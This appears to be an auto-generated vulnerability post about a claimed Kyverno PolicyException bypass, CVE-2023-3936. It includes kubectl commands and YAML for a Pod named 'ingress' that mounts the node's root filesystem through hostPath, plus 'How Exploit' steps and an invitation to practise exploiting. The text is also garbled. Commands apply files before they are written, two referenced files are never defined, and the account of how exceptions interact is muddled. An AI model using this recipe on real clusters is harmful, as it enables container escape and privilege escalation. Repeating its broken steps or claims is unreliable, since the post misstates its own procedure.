Listen to this Post
The CVE-2023-3936 vulnerability in Kyverno stems from incorrect priority handling when multiple PolicyExceptions exist for a single enforced ClusterPolicy. Kyverno evaluates exceptions in a sequence where the second exception takes precedence, regardless of the first exception’s scope or restrictiveness. This flaw allows resources that match the second exception to bypass policy validation, even if they should be denied by the first exception. In the provided example, a ClusterPolicy forbids hostPath volumes in Pods to prevent privilege escalation. Two exceptions are defined: one targets resources in specific namespaces (e.g., luntry, tstkyverno), and another targets resources with names containing patterns like ‘haproxy’ or ‘ingress’. When a Pod is created with a name matching the second exception (e.g., “ingress”), Kyverno incorrectly applies this exception, permitting the Pod with hostPath volumes. This occurs because the exception matching by name is prioritized over the namespace-based exception during policy evaluation, exploiting the bug to circumvent security controls and deploy unauthorized resources.
Platform: Kyverno
Version: 1.6.0
Vulnerability: Policy Bypass
Severity: Critical
Date: 2023-10-01
Prediction: Patched 2023-10-15
What Undercode Say:
kubectl apply -f policy.yaml
kubectl apply -f exception1.yaml
kubectl apply -f exception2.yaml
kubectl apply -f pod-blocked.yaml
kubectl apply -f pod-bypass.yaml
cat > policy.yaml << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
spec:
validationFailureAction: Enforce
rules:
- name: host-path
match:
any:
- resources:
kinds:
- Pod
validate:
message: HostPath volumes are forbidden.
pattern:
spec:
=(volumes):
- X(hostPath): “null”
EOF
cat > exception1.yaml << EOF
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- Pod
namespaces:
- luntry
EOF
cat > pod-bypass.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: ingress
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /
EOF
How Exploit:
Create Pod matching second exception name (e.g., “ingress”) to bypass hostPath policy.
Protection from this CVE
Update Kyverno version, review exception priorities, audit policies.
Impact:
Security restrictions bypassed, potential privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
